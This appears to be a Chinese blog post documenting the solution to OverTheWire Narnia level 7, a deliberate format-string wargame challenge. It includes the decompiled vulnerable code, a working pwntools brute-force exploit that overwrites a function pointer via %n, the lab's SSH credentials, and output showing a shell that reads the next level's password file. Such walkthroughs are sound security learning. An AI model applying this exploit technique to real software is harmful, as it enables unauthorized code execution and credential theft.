170901 WarGames-Narnia(7)

来源:互联网 发布:ipad白苹果数据还在吗 编辑:程序博客网 时间:2024/06/06 17:54

1625-5 王子昂 总结《2017年9月1日》 【连续第333天总结】
A. WarGames-Narnia
B.

Level 7

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  int v3; // eax@4  if ( argc <= 1 )  {    fprintf(stderr, "Usage: %s <buffer>\n", *argv);    exit(-1);  }  v3 = vuln((char *)argv[1]);  exit(v3);}int __cdecl vuln(char *format){  int (*v2)(void); // [sp+1Ch] [bp-8Ch]@1  char s; // [sp+20h] [bp-88h]@1  memset(&s, 0, 0x80u);  printf("goodfunction() = %p\n", goodfunction);  printf("hackedfunction() = %p\n\n", hackedfunction);  v2 = (int (*)(void))goodfunction;  printf("before : ptrf() = %p (%p)\n", goodfunction, &v2);  puts("I guess you want to come to the hackedfunction...");  sleep(2u);  v2 = (int (*)(void))goodfunction;  snprintf(&s, 0x80u, format);  return v2();}

在vuln函数中接受format参数,将其送给局部变量s后调用v2指针
v2指针之前被赋值为goodfunction了,很明显我们的目的是通过格式化字符漏洞修改v2使其指向hackedfunction

这次没有回显,因此无法判断format存储的位置是在s之后多少个位置了,只能挨个试
不过把goodfunction、hackedfunction、v2的地址都直接给出来了

因此只需要在format中保存v2的地址,然后通过%n写入hackedfunction的地址即可

构造输入参数为addr_v2 + offset + “%*$n”,其中len(offset+addr_v2) = addr_hackedfunction,*为未知量,需要爆破尝试

之前参数使用$(python xxx)的形式构造, 怎么搞都不对
后来死马当活马改成 `python xxx`(反引号)就行了
之前$字符需要转义的毛病似乎这样也能解决,查了一下没发现什么区别(:з」∠)

爆破脚本为:

from pwn import *conn = ssh('narnia7', 'narnia.labs.overthewire.org', 2226, password='ahkiaziphu')sh = conn.run('sh')sh.sendline('/narnia/narnia7 a')#首次测试,获取addr_v2reply = (sh.recvrepeat(timeout=1))addr_f = reply.find("0xffff")addr = reply[addr_f: addr_f + 10]for i in range(1, 8):    addr_last = ''    while(addr_last != addr):#如果上一次的addr_v2和本次的不同,则攻击无效,重新构造addr_v2        payload = p32(int(addr, 16)) + ".%" + str(int(0x8048700)) + "d.%" + str(i) +"\$n"        sh.sendline('/narnia/narnia7 ' + """`python -c 'print " """ + payload + """ "'` """)        reply = sh.recvrepeat(timeout=5)        log.info(reply + "\n" + str(i) + "\n\n")#显示返回信息和当前i值        if(reply.find("Way") > 0):#如果修改成功则转交控制流            sh.interactive()        addr_last = addr        addr_f = reply.find("0xffff")        addr = reply[addr_f: addr_f + 10]#获取addr_v2

[*] goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffdbfc)
I guess you want to come to the hackedfunction…
Way to go!!!!$
6

[*] Switching to interactive mode
whoami
narnia8
$ cat /etc/narnia_pass/narnia8
mohthuphog

C. 明日计划
Narnia8

原创粉丝点击